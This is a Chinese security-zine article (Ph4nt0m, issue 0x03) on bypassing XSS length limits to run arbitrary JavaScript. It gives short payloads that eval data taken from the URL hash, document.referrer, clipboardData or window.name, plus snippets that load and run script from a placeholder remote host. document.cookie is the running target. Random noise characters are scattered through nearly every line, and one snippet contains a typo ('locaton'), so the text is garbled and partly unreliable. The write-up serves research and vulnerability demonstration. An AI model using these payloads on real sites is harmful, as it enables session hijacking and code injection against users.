==Ph4nt0m Security Team==, f5 h7 w6 {- n+ a+ U) Q U: a! }
4 j" Y I$ x$ w* i) U; X Issue 0x03, Phile #0x04 of 0x07
# A# G5 c y9 F$ X7 U
) G1 D! k6 u2 K; y0 Y
/ |; w! [- x W5 b|=---------------------------------------------------------------------------=|2 g# Z, j, J/ q- j7 a1 c3 s
|=-------------------=[ 突破XSS字符数量限制执行任意JS代码 ]=-----------------=|9 `# O, U5 }3 o5 N
|=---------------------------------------------------------------------------=|
; f* p1 U8 h) i4 N" R|=---------------------------------------------------------------------------=|4 d3 J! v* b, J ?* m( R
|=------------------------=[ By luoluo ]=---------------------------=|3 V8 I6 ^- _3 `1 x
|=----------------------=[ <luoluo#ph4nt0m.org> ]=------------------------=|
4 @' I) a4 U) \: c9 X9 Q|=----------------------=[ <luoluo#80sec.com> ]=------------------------=|8 M0 Y/ a# Q$ v! s$ D
|=---------------------------------------------------------------------------=|
$ P0 H, }# Y5 j
8 }; w. s- Y6 ~
, y+ r, B- S1 X4 P$ r0 r6 H7 k7 i/ v- b y[目录]
8 Q( C1 y; p/ N& d% u# Y' W( g" D6 u& b* x: `4 h/ N, I
1. 综述
! L9 i$ v% [6 E4 c% ?) m2. 突破方法0 w7 Q0 h1 I1 X; Z) W. Z
2.1 利用HTML上下文中其他可以控制的数据
: Z7 }- |, u+ V- e% s 2.2 利用URL中的数据; Y; g3 ]3 y) r
2.3 JS上下文的利用% J" F2 c4 O: _
2.4 利用浏览器特性在跨域的页面之间传递数据- Q% t, Z g9 I
2.4.1 document.referrer
' |. s) [6 S. v7 A( ?. X 2.4.2 剪切板clipboardData
# O! b( A7 r/ \$ D+ l& M; u 2.4.3 窗口名window.name- E7 ^& ^4 y9 U' u+ Y- M9 ~8 v+ E
2.5 以上的方式结合使用
% S% e0 O* ]' D! ]/ U0 |8 U3. 后记$ j3 z; p, j# ]9 S
4. 参考
6 q& v x6 F+ ]8 A. ~1 M$ ]# _9 `7 I) I/ Y
6 k1 a, H3 l3 d& h8 P. w% I
一、综述, \- q, k& ~- x& ^
5 \, W* ?. L3 @8 f" i+ l 有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主
- q% L5 E! d1 K- g! u要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执
1 l$ q( j( i1 ~" A4 w行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全
' O9 j& o3 D; o) X! Y人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些
# m# v; E- N" Z; d: |* y+ M, [" u4 A6 q极端情况下的XSS漏洞。+ _' F+ ^5 ?, d! @
% r* P1 ?7 {* b* y9 S( d' r9 w 突破的方法有很多种,但是突破的思想基本都一样,那就是执行可以控制的不受限制的数
9 O9 U% L# ?( a1 m" ?3 I) S& d* y据。1 O8 \4 Z, ~# V B% t0 U) S8 G4 h
; w: l7 ]2 a) W& X
) i8 a, {4 I% `" g二、突破方法
P8 N2 }, D$ x) a
4 M5 _/ [; r- C2.1 利用HTML上下文中其他可以控制的数据4 a6 l" G. u( N2 j& n
) }% v7 ]* f: T 如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据,那么可以通过JS获得该数 K8 `, V, o# E5 ]4 L( Q7 F
据通过eval或者document.write/innerHTML等方式执行该数据,从而达到突破XSS字符数量限
( i2 _; N' `9 e. ] [+ ?制的目的,下面例子假设div元素的内部数据可以控制,但是该数据已经被HTML编码过:
6 t# k* U& E4 j, \8 N- q" {( V; Q' U: J0 o% ]
--code-------------------------------------------------------------------------
! g, J3 T ~% A% o<div id="x">可控的安全的数据</div>
3 x9 X) u$ m: z, }" i( |! Z<limited_xss_point>alert(/xss/);</limited_xss_point>
0 J& F8 M8 ?8 S( j-------------------------------------------------------------------------------' Z% N& u& {/ R1 E7 D+ |
1 z" Y7 C: g2 ]( A% c
由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape
1 a8 h3 G4 ~6 l0 z编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据:
W1 t# w3 F/ L1 k2 ]+ ~3 n
3 g8 T5 n" q$ s--code-------------------------------------------------------------------------
1 S; L0 y0 M: G0 d<div id="x">alert%28document.cookie%29%3B</div>
2 r! z$ @+ t8 s<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
0 j0 w& w# F: N4 K% ^( U, k-------------------------------------------------------------------------------
e3 C Z6 @" ~* c8 M6 A, P( {$ }* L2 B$ v0 W. T
长度:28 + len(id)
( N* P8 e, [! V9 B3 L* N+ X3 T! s1 a5 T
由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。
. t3 ]" Y' o8 j5 p* v9 d2 T* f- J4 x) y; T& q5 x
e j9 D% U6 I f O, \3 `
2.2 利用URL中的数据+ \5 a# w H0 h( v" l e
# y3 i: H3 r+ m' R 如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可( c0 K) D; a3 `! D* T5 b
控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过0 L/ x6 K4 }- A2 O# n
document.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到
4 t1 }, C4 P; u3 |0 P最后:
0 P- `& O& d% C+ x4 c
' R4 u1 X+ ?) P+ R @--code-------------------------------------------------------------------------
3 E/ q# c) ?" r4 u2 U/ a, ahttp://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie): H) u- B! ^9 G: ]( F
W5 F' T, S; X* j
<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
5 F8 L& f6 c* E-------------------------------------------------------------------------------
% q8 P$ }1 W' |# I+ J3 _7 ~% P3 z- @+ j
长度:307 d+ A- Y3 M1 \
% z1 z- L4 W1 |4 a; s--code-------------------------------------------------------------------------
7 K# `* p" h; I/ r! L1 r& n3 b# B<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>0 a5 _" U: V9 r
-------------------------------------------------------------------------------% V5 v4 o7 J! p* J* P4 h
* O4 e6 [; Y! \! x& @ [
长度:31
3 X# O4 @" Z6 b9 q: e3 K' Y9 n6 |) [
上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册
% a4 N1 n2 K1 l7 `的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个: }- l( N. r# m! _" k4 ^
字符:$ Q( S6 n( K. E" S/ i' s& V
7 H; h& h) |1 \ s3 n) b8 a/ [
--code-------------------------------------------------------------------------0 _* c$ Z' }& D I9 r$ J4 k
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
/ J6 A1 |4 u/ s9 F! g; @' c-------------------------------------------------------------------------------) `7 n3 ~) W5 N7 u
/ u0 f4 c2 T5 L3 p4 D长度:29+ B$ ^7 m* n7 t9 T
* |, O S9 u! I% Z
--code-------------------------------------------------------------------------
6 B u" Y) K6 E7 I2 m<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
; v( S3 f3 y' Q9 H-------------------------------------------------------------------------------
2 ~* p. G1 x' o4 U0 h* K6 { ]8 }
: C& P: a1 N& P( v4 h长度:30( W. B% u: d+ d7 Y# L- B2 \
6 X ]$ L* B v0 B4 R0 s
那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现
) i# B) z' C' i' l7 F; m有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获6 D; z' y0 x w3 `
得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:2 U: w* f7 A5 h7 A5 p$ \/ D
! i# |7 N& G9 V--code-------------------------------------------------------------------------* c/ u3 x# |, c- [/ c
http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)
+ v; U+ m1 G) }& q3 z) o
' m5 L ]7 P p<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>. M3 K& M6 E$ v0 ^! E7 j" X3 x
-------------------------------------------------------------------------------
. @ n2 S6 @4 ?& {3 H1 s, S- [0 \9 O3 m0 @# r& q
长度:29) ]. `' P h( x# {9 d& K* r* R
' C& ~8 b* n9 S: w5 G
这样比上面的例子又少了一个字符。那么还可以更短么?/ a5 W, q8 T$ D9 g2 E6 `2 S7 S
( J* b. d9 S3 b2 l' d8 l7 l% ?
2 D& C* s A* ~* l _! L) @" b
2.3 JS上下文的利用
6 `. v4 y) X, r0 g' Z4 F: J
. d. w n w: `0 K' E 为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字: j" W( R: {: q# C
+ W$ n- p' B* y
String.fromCharCode1 y6 @" k$ u: U7 J/ I: `8 h8 C
getElementById
/ m$ B% Z/ i6 s: P! S$ ygetElementsByTagName ~, e ]& V( z: E: u
document.write
% Z+ D" a: m+ N: D! W9 ] ]XMLHTTPRequest+ w5 ?* w; r5 j/ E
...
% [( n, V7 ]* ~# M* l( x' c' i: o: y' c; O: v" I5 f) r `
就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的
5 _# k" J+ a6 u6 @+ t简化函数,最经典的例子就是:
% I) g. J# e" ?4 \2 s/ H
4 V+ [. A. P! B* q8 ?--code-------------------------------------------------------------------------( j9 Q* J: G, p" K# e3 j; r
function $(id) {1 I( ?" c" B+ ~
return document.getElementById(id);( P/ n6 q3 z& X3 G! V1 C# o
}
# e. F# F# r7 G" K K-------------------------------------------------------------------------------! O1 | E0 C- R+ ]% \
8 _. _" T: b5 O
这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是$ `* n8 Z( {& n9 z$ i: `, k8 x
最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:
. i; K, h' F! m! d. r. L/ [+ C+ f1 U' J- s; _( w
--code-------------------------------------------------------------------------
% Z# I |) L3 ^+ H' Tfunction loads(url) {+ Q7 H6 H: b. M F
...; H( H# }& ^( N+ z3 l! l/ d
document.body.appendChild(script);. m. P+ T3 M! k9 y
}
" a" G$ t6 s! G+ Z2 S- F& S% Q1 K" M, N/ s
<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>
2 A7 l9 U" Z- [+ w-------------------------------------------------------------------------------
9 b$ |5 o* N A* x! h0 b- D: S4 R1 K8 r
长度:len(函数名) + len(url) + 51 e4 ~) m5 F: ?
4 v1 s5 `+ L- h 当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:
: z Q! O# c+ F7 R6 ^
* r' U5 r& C8 _ w--code-------------------------------------------------------------------------
3 R. U. t$ L$ q# H! m/ a" jfunction get(url) {8 }( N/ |5 ~( C/ B
...
' F2 H: h/ r$ {4 k8 u; i3 g return x.responseText;
4 r }. r- @1 |0 Q9 `8 U Z}* a1 U( H# c$ n( I; l
7 W( C# f+ D* x, O. |! q
<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>
& j* E1 e- ], m8 E" B-------------------------------------------------------------------------------+ w% D' U. V# T) p$ ~7 x; k
5 u5 |! o8 K8 w6 S6 d* F
长度:len(函数名) + len(url) + 11: G, `' c* O# @4 V0 b
' w7 M7 a. S9 P$ c* m1 B% L 道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:
* u( V9 h4 w1 F8 D2 \% P2 A' x- Y$ f2 R7 D' L
JQuery, Z! W* g! I2 W) J2 G) O. u
YUI
; s+ q& a. K, f6 @) r; Q4 u5 F...
( y, A" g5 a: e( A
. T, K* S( R, a) }! ?9 M 综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我
z; A- l( N# |" ^. f/ A: B! o+ C2 v们的代码,进而突破长度限制执行任意代码。 Z, v/ E( z- w% c4 b: I
/ s' S+ e7 T& M, m3 m0 C2 [8 m: W3 w6 L9 p
2.4 利用浏览器特性在跨域的页面之间传递数据
( J% k- e. X! M8 K2 F( D5 p* Q8 |! ~5 a, Z
虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的 q4 ~& x$ o& b9 h. A& g+ W& V
方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。# R/ F6 I& y0 H4 v# p
* \# j3 t- f& S# `2.4.1 document.referrer
" ?0 ~6 I$ t* f* F3 ?2 ^" W. c
5 e0 l+ c7 ?" [1 K* K( H 攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了
$ _" u2 T( d8 Y3 m, uPayload,被XSS的页面通过referrer获取相关代码执行。
% d/ |5 [+ Q+ {% M4 z# {: X3 c) B6 q
攻击者构造的的页面:
8 w6 M6 q) M2 v" G4 e' |5 x6 a4 N
" i, E* L6 J, w4 `7 `* V |--code-------------------------------------------------------------------------
- s/ X o' a e5 R* m# Xhttp://www.a.com/attack.html?...&alert(document.cookie)- ]6 T3 W2 _, U6 y0 |4 a+ F
. l5 a. j9 [; s3 _& Y9 ^<a href="http://www.xssedsite.com/xssed.php">go</a>
p6 s# J6 b6 y6 P' ]8 [: P-------------------------------------------------------------------------------
h* ]0 G' g2 `# G2 d" V0 k
2 W1 @" T+ }* V* M; o; A+ ]1 S被XSS的页面:
9 b. e/ L) N; t D
8 i- z" r: o9 N9 q, Y A. X6 K--code-------------------------------------------------------------------------8 d# k9 I% s V( B7 `+ H$ i1 H
<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>% E" P$ Z4 ^9 j) {
-------------------------------------------------------------------------------
2 @/ M% }3 U( \$ [2 `7 Z# O- j1 ?* ^0 ^, d, n! g
长度:34( o. w. s l( B( R r, x/ o1 G
7 }8 f' V" L: K" S, q" t5 J
这种方式利用上还有一些问题,如果使用location.href或者<meta http-equiv=refresh>, |! T; j( A' ?4 }, N0 T
实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式
/ t; @4 D6 y+ J$ N2 z- A比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer:
4 U- D( @" G2 u6 C
8 @/ h T; C" x, m( R--code-------------------------------------------------------------------------
+ ^3 K2 k3 ^) ~2 @0 a<script type="text/javascript">
, q+ A2 v$ t* s7 _<!--* m: q( v* O/ W
window.onload = function(){
' e9 e& N' L( H- T var f = document.createElement("form");& q3 c9 d3 g' N4 M
f.setAttribute("method", "get");
/ m! _" H4 C6 Z1 o) G) H f.setAttribute("action", "http://www.xssedsite.com/xssed.php");% T5 t! ?# H8 r# p! o/ |
document.body.appendChild(f);
4 J& h# c9 W8 J( r, j f.submit();
# j3 O! Y. Y' X};
+ h6 i: |& f. e2 C0 K' U//-->
. J7 q; b* z0 @! _</script>
* n, C& s$ N8 F6 a: v7 p; {! `) X9 v-------------------------------------------------------------------------------2 n2 m" j7 s$ J2 d+ z7 u4 R \& S; l
# n" h: W( ]) D( A0 g2 p
3 D) K* b, f2 |: ?+ n) c. b
2.4.2 剪切板clipboardData
0 S, z8 n1 v# _9 W/ j
% a1 I9 ^# u( C" O; W- s7 o 攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获
, X1 |9 f& p S. S6 i% z E9 {2 R取并执行该数据。
$ b* M3 L5 D6 h9 h9 c
A- p- e7 C0 Q$ ~. r攻击者构造的页面:- L9 Y5 Q9 c( T& G' V; h5 o" {( l
' ?$ ~0 Z9 ]$ l1 S: M
--code-------------------------------------------------------------------------9 y- b; z( e0 Z4 a# K. v
<script>! e( V7 x# T+ p
clipboardData.setData("text", "alert(document.cookie)");
% Y# m. L' T4 s0 R</script>/ a: o/ y7 Q6 q& e9 g8 c5 A p3 o" a
-------------------------------------------------------------------------------
, _$ Y: w. ^1 \ d% p- n
7 w" e# i- W! f被XSS的页面:6 ~' H l- _5 Y
2 w1 S3 g6 ~, T
--code-------------------------------------------------------------------------
7 y$ ]/ r- J: m2 H; w# p9 e' T<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
- A" Y# n$ w2 S5 s8 A' Q) N-------------------------------------------------------------------------------+ K2 c& \4 V( o% e. U f+ Q* E
: r' B, T1 Z( \8 `6 {长度:36
+ {7 }- Z* b1 g% {5 B; k
( ?5 [4 y, ^9 A4 |$ E9 [ 这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。
4 t7 s" |# N7 N* C0 {, f, N* v3 B! u
) I% g3 v% V+ X, c: R8 Y
2.4.3 窗口名window.name6 h8 x% g* e7 J. F
& x. d9 Y0 o5 h5 _% ~ l 这是一个很少被用到的特性,在研究同源策略时就注意过这个属性,它是可以跨域传递数
1 H2 j7 ~" Q) L5 _6 r1 n# v据的,但是这个特性本身并不是漏洞。
8 Z; H! n3 R8 v$ ^% I
7 G2 }* C7 G3 o( O" {3 |6 ^ L 如果仔细研究过window.open这个方法,会发现一个不常用的第二个参数,这个则是设置
# @: {* H) f6 v n. P3 p窗口名,用于指定target窗口,如果不存在的话则创建新的子窗口,并设置子窗口的name。当
' Z& }* _5 w- x我想打搜window.open时一阵狂喜,喜的是window.name这个属性是window对象的成员,那么只
8 J! Q7 f8 ^1 `2 \! Z需要name就可以引用该属性,但是测试时却发现window.open方法对于第二个参数进行了严格1 F3 C; j6 @! A' w9 c
的检查,只允许数字字母以及下划线的组合,禁止特殊字符进入,那么这种方式就没法写入JS$ S7 n7 G& `1 ^6 C
或者VBS。
8 t! |9 \! Y/ B$ G T! {# y
. b+ O, {0 w* z+ w 但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符
& u& O: u4 R8 ^' D. ?限制,然后直接跳转到被XSS的页面,通过name属性传递Payload过去执行:
. m1 t0 q) S( ^/ {% s; @* g; X* l' Z4 k! Q8 h! M$ F
攻击者构造的页面:
- ^7 P2 f2 f! q% ~, J8 R9 J- M" i- E8 {
--code-------------------------------------------------------------------------
- c8 j/ j. _! V$ e<script>
% A- G6 R k% M/ n" t$ iwindow.name = "alert(document.cookie)";
% d$ L' m; G! p( e; J; B- m- rlocaton.href = "http://www.xssedsite.com/xssed.php";$ M( Z/ [4 o% N$ D0 e+ V# a
</script>
2 C& A; ~/ o9 B5 _, @7 b( T# t2 X-------------------------------------------------------------------------------
! a! z) _* T/ q
0 d* E. n H/ ?' k( O3 |被XSS的页面:
8 G' t+ M( P5 K3 B, M3 w9 S1 |2 q! a. j, K C1 X
--code-------------------------------------------------------------------------) _0 q$ ~5 B* l8 S5 G! j
<limited_xss_point>eval(name);</limited_xss_point>
6 Y1 u# s( Y. Y7 N) t/ l% I8 W% X-------------------------------------------------------------------------------
$ M: H% i: o D/ `1 h
; ~2 m* o5 g; F: w9 r# W长度:11
( |0 ?: o0 _! I9 g, w5 t- a$ O9 e; G: s- L/ |& O- U$ \
这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思
* |/ }2 h Q3 @( g2 f的技巧,这个技巧的发现也是促成本文的直接原因。
' E1 h# C8 G9 F" U E% J4 [- u3 |4 p. D( D: _5 `/ H! v
window.name的特性还有其他一些有趣的应用方式,这个方面的话题以后可以专门写篇文* l1 r: o! |. t; h
章来探讨。! c. x( s/ ^1 l, p' d( t8 A
* h5 u6 \9 i: f$ X" d- V& q
) Q* F3 t/ D2 H/ A/ L6 d2.5 以上的方式结合使用
& u0 D5 ?% Q: ^- k& J: I( Z" ^7 Z& }! ] L
以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况
9 R! m( `8 u5 W0 {中,灵活的组合上面的方法可能会起到奇效。
0 t4 P1 R: @4 f
8 r$ T3 e* A( b: ^' M1 B( W/ M$ d( G
三、后记
- B) b' D8 x8 S3 D: p1 u$ T+ j, ^$ `+ P$ A2 M9 T, q
JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的% p, a% T7 E8 i+ X
乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎
, ] t h; ~! {' Q" C: D和我交流!6 r/ m4 x3 }# D
) |$ g, I3 y1 _; W# T 感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!' f; Y [) o3 m& \7 L+ E
# k0 |( c7 ]& [ G" R 本文是纯粹的技术探讨,请勿用于非法用途! ]4 ^ y, V; E/ X' Y+ f9 u; u2 ~/ e% i) B
! P9 d1 S, M7 m( ?6 k; l! |
3 k5 L- c4 F1 P; h
四、参考
6 `" b; p8 [0 Z, q5 ?% _( @
! t- H8 t8 }# s" x9 G; r* U \http://msdn.microsoft.com/en-us/library/aa155073.aspx! w9 e5 P4 A0 h
9 W) C) k/ E! ~9 m
-EOF- |